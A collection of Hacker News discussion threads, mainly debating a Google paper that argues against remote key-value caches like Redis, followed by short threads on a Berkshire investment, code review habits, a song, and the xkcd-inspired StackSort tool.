Fast key-value stores: An idea whose time has come and gone - <AUTHOR> https://ai.google/research/pubs/pub48030 <comment><USER2> Previous discussion [https://news.ycombinator.com/item?id=19823022](https://news.ycombinator.com/item?id=19823022) .

</comment><comment><USER3> I have some real beefs with this paper. Their number about how long it takes to encode or decode a protobuf is wrong and misleading. It seems to be based on this benchmark[1] which encodes a huge repeated int32 stuffed with random numbers. This does not resemble a key-value workload at all. In a KV system you would have something like key and value as bytes fields. It would be extremely simple. By contrast this "benchmark" is the worst possible case for protobuf because encoding random data as varint guarantees that the average field takes 9 bytes instead of 8 and hits the slowest possible path in the codec. The whole paper rests on this number, so the conclusions are crap. They are not even consistent with the practical performance of memcacheg which the authors should have been very familiar with. 1: [https://github.com/hq6/ProtobufBenchmark/blob/master/Benchma...](https://github.com/hq6/ProtobufBenchmark/blob/master/Benchmark.cc)

<comment><USER4> Not to mention protobufs have awful performance compared to more modern alternatives in use today like Flatbuffers, Thrift, Cap'n Proto, SBE.

In the case of Google's own Flatbuffers, the layout is going to be far more performant.

<comment><USER5> > protobufs have awful performance compared to more modern alternatives in use > today like Flatbuffers, Thrift, Cap'n Proto, SBE

Do you have a source on that? Genuinely curious.

<comment><USER6> Hi, I wrote Protobuf v2 (the version everyone uses) and Cap'n Proto.

I don't know if I'd say Protobuf has "awful" performance. It's certainly much better that text-based formats like JSON. But the format is rather branch-y. You have to process it byte-by-byte, because e.g. integers are encoded in a variable-width encoding where each byte contains 7 bits of data plus 1 bit to indicate if this is the last byte. This results in a compact encoding, but takes a lot of cycles to encode and decode. Moreover, since everything is variable-width, in order to find any one field of the message, you must scan through all previous fields, parsing them one by one.

Cap'n Proto, FlatBuffers, and SBE all use "zero-copy" encodings, meaning the data is laid out on the wire in a format that is easy for a CPU to use directly. This means, for example, that integers are fixed-width, and fields are located at fixed offsets. This is must faster to parse (or even use in- place without parsing at all), but does result in somewhat larger encodings. (But then, you can always layer on independent compression when bandwidth matters more than CPU.)

My understanding is that Thrift is closer to Protobuf and contemporaneous with it, so I don't know why GP included it the list.

<comment><USER3> For simple protocols protobuf decoding has no taken branches. I.e. if you only use the first 15 field numbers (all your tags are 1 byte) and if all the types are the expected types, and if all the variable-length items are < 128 bytes long then you can decode the message without taking any branches. In C++. Most of the other languages have simpler and slower codecs.

This is the hot path in C++[1]. A really large amount of work has gone into protobuf C++ performance in the last 3 years or so.

1: [https://github.com/protocolbuffers/protobuf/blob/master/src/...](https://github.com/protocolbuffers/protobuf/blob/master/src/google/protobuf/io/coded_stream.h#L1034-L1044)

<comment><USER6> And all your integer fields must be < 128, right?

Yes, I suppose the branches in Protobuf can be pretty predictable. Still, you do generally have to examine each byte individually.

<comment><USER3> Sure. In this specific case of a kv store it's hard to imagine how to simplify it dramatically from protobuf. As a proto you might have: tag-length-key-tag- length-value. Instead you could store the key and value lengths in host format using 8-16 bytes: length-length-key-value. It's not _dramatically_ faster to decode this, and you traded away extensibility to get a marginal speedup.

<comment><USER6> Sure, I was speaking in general, not specifically about the key-value case.

I think most serialization frameworks are likely to be overkill for such a use case, spending more time on setup than actual parsing.

Also note that storing the value (and maybe the key) with proper alignment might make it easier to use the data in-place, saving a copy.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER7> This paper is very light on details. It defines "RInK architecture" as something which uses stateless application servers w/ key-value store as backend (Redis/Memcached). Section 3 then shows that it's faster to use a stateful application server, but skips any details about scaling/durability which makes the comparison kinda strange. Are they really just comparing a single-threaded in-memory application server with a scalable system of stateless application servers?

Their solution (LInK) is a key-value system "as a library": You link it into your application servers and you can then store data (they become stateful). The system will automatically handle sharding, replication, consistency and so on. From your perspective you're working directly on memory. You still need to implement marshalling, but this is only used for sharding/replication across nodes (which the system handles completely for you).

They say nothing about _how_ this system handles data consistency/replication/durability, so it's a bit tricky to assess it. They also have this nice note: "(since, for performance, persistence of state is not guaranteed)".

Summary: This is a system which couples your application logic with your persistence layer (in the same OS process). This can give you great performance as they co-side with each other.

Looks like a very cool project, and I'm actually surprised there not more "database as a library"-projects out there.

<comment><USER8> > Summary: This is a system which couples your application logic with your > persistence layer (in the same OS process).

I don't think the paper is talking about the persistence layer. Rather it's focusing on the cache layer.

From the paper:

"Modern internet-scale services often rely on remote, in-memory, key-value (RInK) stores such as Redis and Memcached. These stores serve at least two purposes. First, they may provide a cache over a storage system to enable faster retrieval of persistent state. Second, they may store short-lived data, such as per-session state, that does not warrant persistence."

If you look at Fig.2 in the paper, the database (persistence) layer is always there. What the paper is advocating is to move from an out-of-process cache server like Redis to an in-process cache library like Java Caffeine

<comment><USER9> So for the canonical use case of session state in a load balanced server farm, is the session state being replicated across every single one of these in- process caches? Or, if a request is routed to a server without a copy of the session state, does the in-process cache have to go find a peer server with a copy of the session state?

This seems like an easy "solution" to show how it speeds up the happy path while not fully addressing the real-world tradeoffs.

Stateless application servers come and go without a care in the world. You can reason very simply about the cost and effects of bringing them up and down.

Add in a KV store with sharding, replication, a discovery protocol, a heartbeat protocol, a sync and recovery protocol, etc... and put it all in- process on every application server?

Have fun monitoring and debugging this.

I much prefer the 3-tier system of a local RAM cache, a Redis cache, and a persistence layer. As much state as possible is idempotent so you can cache it locally as well as in Redis. The load balancer can best-effort route back to the same app server, and your KV lookups automatically check local RAM first. But the central KV store handles replication and is easy to monitor and scale out if needed.

<comment><USER10> The paper assumes that you have a good amount of related context. I'd recommend at least reading the Slicer paper mentioned several times ([https://www.usenix.org/system/files/conference/osdi16/osdi16...](https://www.usenix.org/system/files/conference/osdi16/osdi16-adya.pdf)).

</comment></comment></comment></comment><comment><USER11> Reminds me of the talk "Building Scalable Stateful Services" by Caitie McCaffrey about stateful app servers for Microsoft Halo (the multiplayer shooter game). She explained that stateless app servers are wasteful and the user's data should be cached in an instance and routing should be sticky to always reach that instance, and once it is warm performance is good. If the instance goes down, the user data will get loaded into another instance and will get stickied there.

[http://highscalability.com/blog/2015/10/12/making-the- case-f...](http://highscalability.com/blog/2015/10/12/making-the-case-for- building-scalable-stateful-services-in-t.html)

[https://www.youtube.com/watch?v=H0i_bXKwujQ](https://www.youtube.com/watch?v=H0i_bXKwujQ)

[https://speakerdeck.com/caitiem20/building-scalable- stateful...](https://speakerdeck.com/caitiem20/building-scalable-stateful- services)

<comment><USER12> We are an all or nothing sort. If we use statefulness and sticky sessions we almost always tend to use it in a way where migration to another server is next to impossible.

If we had better tools for the moderate position then life would probably be easier than at the extremes.

While the idea of migration is useful for resilience in the face of hardware failure, it's more attractive from a standpoint of elastic scalability.

But.

We are still living in a bubble where we believe that cloud providers aren't going to oversubscribe their hardware the way ISPs have been doing for decades. As the ratio of private server rooms declines, that bubble starts to wear thin.

<comment><USER13> _We are still living in a bubble where we believe that cloud providers aren't going to oversubscribe their hardware_

AWS doesn't oversubscribe their main class of cloud servers, but they will sell you a cheaper t-series if you're willing to accept throttling under heavy CPU use.

They used to have "noisy neighbor" issues with some of their older instance types where another server on the same physical hardware could monopolize the disk/network bandwidth (but not the CPU), but they've resolved that now, every server can use it's published resources (except for network which can burst up on 10 Gig on some instances types, but sustained except on large instance types that can sustain 10Gig)

They've built their business model on selling dedicated resources, and I don't see that changing.

</comment></comment></comment><comment><USER14> Meanwhile, the rest of the CRUD world is still using local RDBMS in place of local key-value stores.

I understand the point the abstract is trying to make, but the title is sensationalized at best.

<comment><USER15> I remember a headline on HN from a month or two ago. Something like "You're not Google".

Turns out that a run of the mill RDBMS will fit 99% of the problems you're trying to solve.

Edit: [https://news.ycombinator.com/item?id=19576092](https://news.ycombinator.com/item?id=19576092)

<comment><USER16> What makes an RDBMS "run of the mill" and a key-value store not? If anything key-value stores tend to be much simpler, both conceptually and in terms of implementation.

<comment><USER17> A SQL DBMS (run of the mill) gives you a well thought out data model (the SQL model, derived from the relational model) that implements your business logic in terms of a well designed, well understood data model.

Conceptually, the relational model has relations and atoms. The algebra is built on the primitives conjoin, disjoin, project and rename. You can't get much simpler while being as expressive.

The SQL model adds a good deal of complexity, but at least it's standardized and you can generally ignore the complexity you don't need.

A KV store is conceptually simple if you stick to using it as a KV store. Once you try to implement any kind of schema, you have to build that from scratch. As you add business logic to it, you wind up inventing an ad hoc data model, which is likely to be conceptually more complex than either the SQL or relational model.

You may not be aware of the complexity of your ad hoc model, but math will inevitably remind you.

<comment><USER18> _You may not be aware of the complexity of your ad hoc model, but math will inevitably remind you._

I think this idea needs to be expressed more clearly in CompSci and programming. What is the exact nature of the complexity explosion you are talking about here? Is there something analogous to the increase in complexity going from regular expressions to stack machines? What math are we talking about here? It seems like everyone just explains the relational algebra, then leaves it right there.

<comment><USER17> > It seems like everyone just explains the relational algebra, then leaves it > right there.

Fair point.

> What is the exact nature of the complexity explosion you are talking about > here?

I'm thinking in terms of the entities of Occam's razor: "entities should not be multiplied unnecessarily." "Entities" is pretty abstract, we can't identify what complexity is directly, but what we can do is imagine, "what if we tried to build a mathematical model that captures a real life application?"

If we did that, and had a mathematical description of a thing we wrote, we can formalize it by trying to reduce it to some minimal set of axioms.

And then, your more complex rules are derived from those axioms, and if you get your math right those complex rules will be consistent. If you're very clever, you can make it reasonably intuitive.

If you have something that's very complex, what you'd observe after modelling it is you have mostly axioms and very few rules are able to be derived from those axioms. That is, the rules are just the rules and there's no broader reason for them to be so, or deeper _consistent_ patterns. And, maybe some of those rules wind up being contradictory, and they may lack orthogonality.

The relational algebra, being an algebra, is a set of operatations that are closed over the universe of relations, so it's very nicely orthogonal and reduces to a small set of primitives. As relations can be visualized as "tables" they're relatively intuitive, and using techniques such as normalization you can also structure around potential anomalies that add unwanted complexity.

You can also control where your complexity goes. An integrity constraint can enforce some rules about what may be in a relational variable, and if that's enforced, all code that wants to use data from that relation can simply assume that the data maintains that structure. Thus the complexity can be centralized in the system.

Now, that's in the ideal world with a True Relational DBMS, we have to deal with SQL and vendor-specific SQL at that, so we have a rather complex underlying model. But it's typically Pretty Good.

When we build such a model ad hoc, we go by our intuition and are constrained by the market. Our intutition leads us to use more complex structures, that is, structures that if they were expressed mathematically would use a larger set of axioms to describe them. Then, as we want those structures to interoperate, we are unwittingly merging two sets of axioms.

Worse, because we're typicaly expressing it in application libraries, we wind up repeating code, so the complexity is spread all over the application and it especially multiplies if "conventions" are copy-pasta'd.

Hopefully that explains the nature of the explosion of entities / complexity; let me know if I can expand on anything.

<comment><USER18> _Hopefully that explains the nature of the explosion of entities / complexity; let me know if I can expand on anything._

It does not satisfy me. One can show that a regular expression or finite state machine is limited in specific ways, as compared to a stack machine or a Turing machine. One can write proofs concerning the number of states a specific machine can be in, given an input of a certain length. The explosion in complexity can be quantified, as can the impact on the effectiveness of testing. By comparison, "using techniques such as normalization you can also structure around potential anomalies that add unwanted complexity," is just an aphorism.

</comment></comment></comment></comment></comment></comment></comment><comment><USER19> Stateful applications with the linklet abstraction seem a nightmare to operate just like plain old stateful webapps that keep sessions in memory (requiring sticky sessions and annoying users when shut down).

I understand the dislike for using in-memory databases as a json store (by reading/writing entire objects at once), but if you're using Redis this way, you're doing it wrong.

Another thing that the authors authors seem to forget is that "rinks" also provide coordination across multiple instances. Locks, atomic operations, transactions, even pub/sub is useful to get the right amount of coordination between instances (see my take on preventing cache stampedes [https://github.com/kristoff-it/redis-memolock](https://github.com/kristoff- it/redis-memolock)).

Once you move to their new version of stateful instances you get all the operational downsides and lose all the coordination features. "auto sharding" is not going to be enough to solve all coordination problems.

Calendars are a good example of a domain that is tricky to model as a bunch of kv operations, but nothing that can't be reasonably decomposed by applying DDD + the repository pattern + transactions + lua scripts (in the case of Redis). And if you end up with something that is computationally expensive, then it means that you need a custom data structure and maybe an algorithm optimized for it, and this is where Redis Modules come in.

The real domain of "rinks" is not your business domain, but the implementation domain of data structures, algorithms, asymptotic complexity etc. Thinking that the focus at that level should not be on compsci, but on the business domain, will inevitably produce bad performance.

<comment><USER20> > I understand the dislike for using in-memory databases as a json store (by > reading/writing entire objects at once), but if you're using Redis this way, > you're doing it wrong.

I guess... is it so terrible to use a dictionary/hash-type data structure with values more than one level deep? Redis doesn't provide a data structure for that.

<comment><USER21> > Redis doesn't provide a data structure for that.

Both Redis and Aerospike provide more than enough mechanisms for one to roll their own composite hierarchy. Both provide server side scripting via Lua as well so the database can maintain consistency and prevent chatty access to the store.

KV database modeling is just as rich as its relational counterpart, but if one isn't using a KV store for a compelling reason, use Postgres.

[https://www.aerospike.com/docs/guide/data- types.html](https://www.aerospike.com/docs/guide/data-types.html)

[https://www.aerospike.com/docs/guide/udf.html](https://www.aerospike.com/docs/guide/udf.html)

</comment></comment></comment><comment><USER22> Microsoft have been pushing this kind of thinking for a while with Service Fabric. If you buy in completely and use both the framework and the infrastructure you get structures which are in-memory and replicated for you.

A couple of the .Net guys we hired preached that stateless architecture is a little old-fashioned - over time I've come to agree. A lot of things can be shoe-horned in to a stateless world but become much easier in a stateful one.

</comment><comment><USER23> We've been building this way ever since we moved to Elixir which makes distributing state across your application easy. Memory on application servers is severely underutilized

<comment><USER24> Can you explain more?

<comment><USER25> Systems like Erlang/OTP, Akka, Orbit and Orleans/Service Fabric are built on an actor model where domain objects of the system (e.g. Users, Accounts, Invoices, etc.) exist within the cluster and have a an address so they are like having a bunch of mini servers. These servers typically keep their state in memory so they can respond to query messages quickly. Plus the application can unload idle (or no longer necessary) actors and restore their state when they are needed again. It's very similar to the Linked in-memory key-value idea mentioned in the paper.

<comment><USER26> I think it is an anti-pattern to design a system where each domain object is a process. Sometimes data is just data and should be managed as such.

I think what makes actor models so nice is the explicit ownership of state. It is not possible to declare "var x = 1" in one file, and access x in another file. You always have to retrieve state explicitly, otherwise it won't be accessible within the scope of your function.

</comment></comment></comment></comment><comment><USER27> This is interesting, but I think the authors don't talk enough about CPU and memory utilization. To me, the "classic" Google distributed systems architecture puts different tasks in different logical servers (doesn't matter if they're separate physical servers or not), which gives those servers more predictable memory and CPU usage, which in turn enables tighter bin-packing of jobs in the datacenter. The price they pay is needing a really, really fast in-datacenter network, but in the past they've been okay with this.

The paper proposes putting application-specific processing and memory caching on the same host, which might give the combined server less consistent CPU usage and therefore lower utilization, but will also eliminate the network hop from application server to in-memory cache. It seems intuitively reasonable to me to give up some CPU utilization in exchange for eliminating an all-to-all network connections stage, but I would like to see a real cost and speed comparison.

<comment><USER3> An interesting take. When borg was written the main machine class was dual- dual-core opteron. Now I imagine the typical borglet has dual Haswell or Skylake CPUs with I guess between 40 and 88 cores. Do you think (or do you have data that indicates) the typical Google container/vm has grown to keep pace with the machine size, or do you think the mainstream container is still 1CPU/4GB?

<comment><USER27> No idea, I don't work there any more. It would be really interesting to know though.

</comment></comment></comment><comment><USER28> Provocative title but fundamentally the paper is "what if we just run the application on redis and skip the app server." Its not like no one has tried sticky sessions before.

It seems like the paper is simply arguing we should bang our heads against this yet again without a solid reason why we would succeed this time. Sharding/routing wasn't the only problem with sticky sessions.

<comment><USER29> That is definitely what I took from the article. Nothing but a shock-title. Data stores were created because previous solutions were not working as well..

</comment></comment><comment><USER30> Generational oscillation: stateful -> stateless -> stateful -> stateless -> ...

</comment><comment><USER31> This paper isn't great.

Yes, I can use a custom in-memory data structure, write it in Go and cluster it using some nice Raft replication. It's not all that hard and it's much, much faster than Redis. (we do this at Stream for activity feeds and chat)

For most apps doing this is totally impractical. If you're using PHP, Python, Node or Ruby for a small to large (anything that doesn't have 100 million plus users) the overhead of implementing the pattern the authors suggest is just too large.

I think Redis will only keep on becoming more popular...

</comment><comment><USER32> I am confused. The major problem is claimed to be un/marshalling. But they take no closer looks. Advise an architecture without it just to introduce another with it.

Seems like protocol overhead will stay.

<comment><USER3> Yeah, the only thing we can really learn from this paper is that the authors aren't very familiar with protobuf. Anybody who claims it takes 10 microseconds to decode a 1KiB protocol message is either intentionally constructing the worst-case message or doesn't know what they are talking about.

<comment><USER33> > Yeah, the only thing we can really learn from this paper is that the authors > aren't very familiar with protobuf.

This is stupid. Three of the four authors are engineers at Google.

<comment><USER12> That should not surprise you. When Microsoft was at its dumbest, its corporate identity was that they were hiring the best of the best.

Now Google has that baton. Wonder who they'll pass it to...

<comment><USER33> I did not intend to express agreement with the OP's stupid comment.

</comment></comment></comment></comment></comment><comment><USER34> The authors are the owners of Google Slicer, a sharding system that enables stateless frontends to connect to sharded data stores (user stickiness).

<comment><USER35> And so basically, the paper's tl;dr can be: It's time for everyone to stop using well-established best practices on X, and start using our product Y.

<comment><USER36> It's more like: He got much better results with Y than well-established practices (that many people disagreed were best) X, so we packaged it into a product.

It may be still be a marketing lie, but it's not something to dismiss automatically, mostly because a lot of people disagreed the practice was "best" all the time.

</comment></comment></comment><comment><USER37> This does not seem a very smart thing to do for any standard application especially without a well tested LInK library.

When it was necessary and was easy, I had local in memory caches for some specific hot data acting as another level of caching. In the simplest case it us just one variable + timestamp. Otherwise usually a Map or a simple library will do it.

But substituting your caching layer with in process caching, it is usually very risky. In cases where the system cannot work without a hot cache, in memory caching can easily lead to extened downtimes of the whole system.

First of all, the deployment process needs to be reengineered so the new version of the app can load the cache of the current running process.

Then if there is a bug that crashes the process, you end up losing all the cache (unless like Redis you also save it on disk).

Until there is a well tested library that can do that or the system _really_ need a system like this, I am going to keep using Redis and use a second in memory caching where it is easy and low risk to do.

</comment><comment><USER38> I have noticed that in most use cases of redis/memcached/etc, one will abstract it into some domain specific data-structure. At scale that abstraction becomes a service of it's own (job servers, caches, pub sub, etc.) at which point it doesn't make sense to keep the data separated from the service, because all it does is it adds an extra layer of indirection. I presume at google it's really not that big of a deal to write a fast priority queue service that keeps things in it's own memory and talks protobuf directly.

Relatedly I also noticed that teams that overuse memstores predominantly use application languages that have a terrible concurrency story (e.g. python), fall back to multiprocessing where creating anything stateful is not as obvious as keeping it in memory, so they offload that state to redis.

</comment><comment><USER39> As a maintainer of KeyDB I think there is some truth to this in the form of naive get/set queries. More of the processing should be done server side to avoid wasteful network traffic and the latencies that entails.

</comment><comment><USER40> Memcache was released in 2003, we didn't start to see server SSDs until 2008. For many places, if you put the database on SSDs, it's fast enough.

</comment><comment><USER41> It strikes me that you could easily satisfy this by running a Redis process local to your application node as a cache and, indeed, you probably should instead of trying to re-implement functionality yourself.

Also redis is cool for pub/sub.

<comment><USER12> If your rate of churn is low. It's fairly easy to get a server with excess memory, especially if you've pushed state out of your services, such that having a kv sidecar isn't that onerous. But then you get cache invalidation issues you have to find a solution for.

</comment></comment><comment><USER42> Makes total sense. Here is a presentation from AWS reInvent from PlayStation folks: [https://www.slideshare.net/AmazonWebServices/aws- reinvent-20...](https://www.slideshare.net/AmazonWebServices/aws- reinvent-2016-gam302-sony-playstation-breaking-the-bandwidth-barrier-using- soft-state-and-elb-properties)

You just can't beat memory

</comment><comment><USER43> > Instead, data center services should be built using stateful application > servers or custom in-memory stores with domain-specific APIs, which offer > higher performance than RInKs at lower cost.

We've been using Sirius [1] (on the JVM) for this.

[1] [https://github.com/comcast/sirius](https://github.com/comcast/sirius)

</comment><comment><USER44> I'm working at ScyllaDB we have observed that long time ago and even blogged about it back in 2017 [https://www.scylladb.com/2017/07/31/database-caches- not-good...](https://www.scylladb.com/2017/07/31/database-caches-not-good/)

<comment><USER45> There is db with integrated application server that mail.ru was writing about in 2016 - [https://medium.com/@denisanikin/how-to-save-one-million- doll...](https://medium.com/@denisanikin/how-to-save-one-million-dollars-on- databases-with-tarantool-5eb1596ec628)

</comment></comment><comment><USER46> Isn't a stateful service basically the actor model with optional persistence, like in Akka.Persistence model?

</comment><comment><USER47> I'm not entirely sure I understand this paper.

Are the frontend servers hitting the auto shard service with say, a key, and it returns a list of backend server(s) to hit where it knows that key is stored in memory?

Wouldn't the auto sharding service come with the usual challenges of HA, load balancing, integrity etc?

</comment><comment><USER48> This looks like it is trying to build a technical rationale for keeping user data on servers, in contrast to the privacy-centric approach being pushed by their main competitor in the mobile space, which advocates keeping user data local to the user device for privacy reasons.

</comment><comment><USER29> Well. They may not of intended to do so. But they convinced me more than I already was, that data stores like Redis are needed. This article sounds like they already decided they had a problem with key value stores and tried to rationalize their bias desperately...

</comment><comment><USER49> "Application logic as a library" is the right way to think. We can't even make "threads into a library", let alone "database as a library".

The challenge is to design safety so badly written application logic doesn't crash the database.

</comment><comment><USER50> Thank you. I finally have a good reference to point folks to when I get the question about why I'm not using redis. Although not as fun as the "web scale" response to mongo questions.

<comment><USER7> > I finally have a good reference to point folks to when I get the question > about why I'm not using redis.

What are you using instead?

<comment><USER50> .net memory cache. It is not distributed, but we have a single tenant architecture so it works well

</comment></comment></comment><comment><USER51> I need a place to store values organized with just a bit of logic and a nice api while my workflow runs. I don't want the overhead of a file system or psql... enter redis.

</comment><comment><USER52> ITT: the mix of haters, supporters, and curious observers is the exact type of reaction that the HotXXX series of workshops is intended to surface.

</comment><comment><USER53> I don't understand. I skimmed the paper but it sounds like NoSQL but using the application servers themselves as the data store. ?

<comment><USER54> You're not far off, I'd analogise as

"redis, but compiled into your app, with all the necessary bits to make that work like you'd hope (consistent hashing/replication), (native data structures)"

<comment><USER55> When I suppose the separation architecture of computing layer and store layer is go without saying, others begin talks about stateful service.

</comment></comment></comment><comment><USER56> The title is click bait in my opinion as the article (as others noted) is a proposal for:

"... LInKstore is a high level abstraction over an auto-sharder that provides a distributed, in-memory, key-value map withrich application objects as values, rather than strings or sim-ple data structures".

This comes from Section 4 of the .pdf which has the hard core content. The issue is interesting.

</comment><comment><USER57> k/v mem store is only supposed to be a read cache. it's not supposed to handle business logic, and it's not supposed to persist storage. if you need any of that, _use an rdbms_.

</comment><comment><USER58> > custom in-memory stores with domain-specific APIs

CIMSDA is the new CORBA?

</comment><comment><USER59> Only skimmed the paper, but to me this sounds like an incoherent description of Reliable Actors on Azure.

I don't think it benefits the paper to position this model directly against something like Redis.</comment>


Berkshire Hathaway putting $5B into Bank of America - <AUTHOR> http://www.marketwatch.com/story/berkshire-hathaway-to-invest-5-billion-in-bank-of-america-2011-08-25?reflink=MW_news_stmp

<comment><AUTHOR> Don't worry...they didn't need the money.</comment>


Ask HN: How do you perform code review? - <AUTHOR>

Hi.
As a developer, I know the importance of code reviews and I would like to be better at it.
I have been working in different companies and I could see that there was not a consistent approach with it.
I could see different behaviors that code reviewers do, such as: - Leaving comments in a commit or a pull request - Leaving comments in their task tool (e.g. Jira, Trello) - Making the code review in isolation - Making the code review with the developer that made the changes - Making the code review with another developer that did not touch that code - Gathering multiple people in a room and letting the developer to walk through their changes. - Printing the code on paper (yes, I have also seen that..) - Strict code review - Soft code review, always accepting it
I know that there is not a unique way to do it,and you should use common sense in different cases but I was curious to know how do people in HN perform code reviews, what are your best practices(and why), what is the worse code review that you have received and what is the best one. <comment><USER2> The best method for me is to go through "hard" or "buggy" code together with 1-2 other devs, and then we can discuss why something was hard to solve or some bug appeared. Then maybe make some change to internal code or document in for future use</comment>


Papa Was a Rollin' Stone (1972 song) - <AUTHOR> https://en.wikipedia.org/wiki/Papa_Was_a_Rollin%27_Stone <comment><USER2> The Marcus Miller cover is cool, especially live [https://youtu.be/-Ab4IQwLMTQ](https://youtu.be/-Ab4IQwLMTQ)

</comment><comment><AUTHOR> "It was the third of September

That day, I'll always remember..."</comment>


Show HN: XKCD-inspired StackSort - <AUTHOR> http://gkoberger.github.com/stacksort/? <comment><USER2> If you give it about 30 seconds it works eventually, this is beautiful. I had a good laugh.

Edit: It makes me want to do something crazy like setup a tool chain that cobbles whole programs together with trial and error like this. Throw enough resources at it maybe it will be faster and cheaper than your avg. developer.

It will be an unmaintainable mess as if you used Brainfuck or Perl. But it will run, by god, it will run. :D

You laugh now, but imagine a bizarre combination of genetic programming and machine learning with Stackoverflow and Github used as corpuses. Great Scott!

<comment><USER3> I tried a basic version of that 1.5 weeks ago. At first it was generating random characters, then I tried some Markov chains trained on valid code.

After running it overnight (it was attempting 40+ programs per second), the very best program looked something like this:

        package main; func main() { i := 0
         // wae64309i<AEFL<N(),{}flkjwa and other Random Gibberish
        i++ }

Next step I wanna try is to use tokens of the language instead of series of random characters.

Edit: Here's the code. <https://gist.github.com/shurcooL/df2c8339ada1997606b3> It should run out of the box if your Go is installed in /usr/local/go. I just changed it to generate a temp dir in the working dir (prefixed with "Gen-"), so you can delete it afterwards (previously it relied on a "Gen" folder to already exist). Right now it's configured to have quite difficult verification conditions, so it generates valid programs quite infrequently (despite trying 5000+ programs per second on my machine).

<comment><USER4> If you actually want to go down this path then you want a language with as little redundancy as possible. Comments may be useful to humans but they needlessly complicate the search space. Abstractly you want to think about the how your language is parsed so you don't for example try different variable names.

Though if you spend enough time your probably going to be reimplementing some type of <http://en.wikipedia.org/wiki/Genetic_programming>

<comment><USER5> [Slash/A](<https://github.com/arturadib/slash-a>) is specially designed for genetic programming / random generation. No matter how you piece together the instructions, it is still a valid program.

</comment></comment></comment></comment><comment><USER6> "So, I made it." is probably _the_ best explanation ever. Also the moving clock in the xkcd figure! Awesome touch.

Also of utmost importance: it sorts both [8,6,7,5,3,0,9] and "jennyigotyournumber". Now I'm really gonna make her mine.

</comment><comment><AUTHOR> This was inspired by the alt-text from last week's "Ineffective Sorts" xkcd (<http://xkcd.com/1185/>).

It tries to sort a list or JSON by fetching code from StackOverflow until it properly sorts the input.

<comment><USER7> Do you test the result, or just hope if it runs, it actually worked?

<comment><AUTHOR> It doesn't test for two reasons:

1) I thought it would defeat the purpose

2) "Sort" is very arbitrary. Do you want to sort by key or value? Is "1000" bigger or smaller than "2"? etc

<comment><USER7> Fair; also, it's called an 'ineffective' sort, and if you tested it, it'd become effective (not efficient, of course). So, good point!

<comment><USER8> You could probably test it by taking multiple sorts from SO and then comparing results. the moment you get two that agree, you have a winner!

</comment></comment></comment></comment></comment><comment><USER9> Has anybody made a gallery of real implementations of Randall Munroe's hilarious ideas yet? I recall at least three exhibitions: this, M-x butterfly, and Hell Tetris; there are probably many others.

<comment><USER10> Also, geohashing

I'm waiting for 1Password to implement 936. <http://xkcd.com/936/>

It's not that I don't trust 1Passwords generation algorithm, but when I'm on a borrowed PC (wife's laptop, inlaws desktop or even at work where I can't install 1P) this would help. It's much easier to open 1P on my iPhone, look up a password and type in "correct horse battery staple" than to constantly have to refer back to my phone.

<comment><USER11> I actually changed my way to pick password thanks to that comic. There are longer and usually with the same entropy, but so much easier to remember!

<comment><USER10> I just wish my password manager would do that automatically. I know there are terminal scripts and apps that will do it. I'd just like it to be integrated.

</comment></comment></comment></comment><comment><USER12> 'test.js':

       Hahahahahahahaha

       Oh.. you were serious.

       Well, the fact that you're reading this means GitHub hasn't taken the repo down yet... so I guess things are still going pretty well?

</comment><comment><USER13> For the numbers it eventually ends up here : [http://stackoverflow.com/questions/14761032/infinite- recursi...](http://stackoverflow.com/questions/14761032/infinite-recursion-in- javascript-quicksort#14761203) but by and large this is a great hack. I worry however if someone meta-exploits this by creating a javascript XSS in a stack exchange answer waiting patiently ...

<comment><USER14> "The site will only fetch accepted answers, and it only uses answers that were posted before the xkcd was released (meaning that if someone posted malicious code now, it wouldn't matter)."

<comment><USER15> I think it might still be vulnerable to people editing one of those old answers though.

<comment><USER14> This is true. It doesn't look like the code digs down into an answer's revision history or anything like that.

</comment></comment></comment></comment><comment><USER16> If a site like StackOverflow/Github had a more powerful search, better semantic data, etc. maybe people would be able to create things primarily by searching through it?

In this example, one would type "sort array" and it would auto-find a function that sorts an array, but perhaps more advanced things can also be done? I guess it depends somewhat on how re-usable code really is, besides on the ability of a computer to find the right code.

At the very least, there should be better search/help when one is coding. SO's current search isn't good at returning the best results.

<comment><USER15> On a more serious note, Hoogle[1] does something similar for the Haskell standard libraries: You give it a type signature (essentially a sort of specification of what the function should do) and it tells you if there are any functions that match it.

[1] <http://www.haskell.org/hoogle/>

</comment></comment><comment><USER17> Noticed that there was a lot of "Potentially bad code" answers. I read you are avoiding scripts with "cookie" or written after the comic was written, but are there other restrictions? For example, this was banned: [http://stackoverflow.com/questions/14800987/javascript- sorti...](http://stackoverflow.com/questions/14800987/javascript-sorting-by- algorithm-jquery-maybe#14803334)

Just curious about it.

<comment><AUTHOR> I attempt to block anything that does DOM manipulation, uses Backbone or underscore, uses "Date()" (since it's probably a benchmark and those are slow), and a few others.

<comment><USER18> Can you also write code to detect whether a program will run forever for a given input? _ducks_

<comment><AUTHOR> I looked for a way, but turns out it's not possible with JS. Browsers will stop infinite loops after a few seconds, though.

EDIT: Ah, I missed the joke.. what I _meant_ was that I looked for a way to stop the JS if it ran for more then a second.

<comment><USER19> I believe this is the joke: <http://en.wikipedia.org/wiki/Halting_problem>

>In computability theory, the halting problem ... is equivalent to the problem of deciding, given a program and an input, whether the program will eventually halt when run with that input, or will run forever. Alan Turing proved in 1936 that a general algorithm to solve the halting problem for all possible program-input pairs cannot exist.

<comment><USER7> Sure. gkoberger transformed that statement into "can you detect if it has been running for an unreasonable amount of time". Not possible in advance, but certainly detectable in hindsight. Just, perhaps, not in JS.

</comment></comment></comment></comment></comment></comment><comment><USER20> This reminds me of a project I was exposed to at school[1] It allows you to search for code by the test cases it passes. It was a little slow, but that was one of the first times computers truly felt magical to me.

[1]<http://cs.brown.edu/~spr/research/s6.html>

<comment><USER21> That is truly awesome! Thanks for sharing.

Quote from the linked article:

"

The system works by using the keywords to access one of the available code search engines (or a local code search engine for code available at Brown), to get candidate files. Each class or method in these files (depending on what the user is searching for) is considered a potential solution. These solutions are then transformed using a set of about 30 transformations in an attempt to map the code into exactly what the programmer specified. The transformations range from the simple (e.g. changing the name of the method to match the signature) to the complex (e.g. finding a line in the method that computes a value of the returned type and then doing a backward slice until the only free variables are values of the parameter types). All the solutions that can be transformed to match the signature are then tested using the given test cases, security constraints, and JML rules.

"

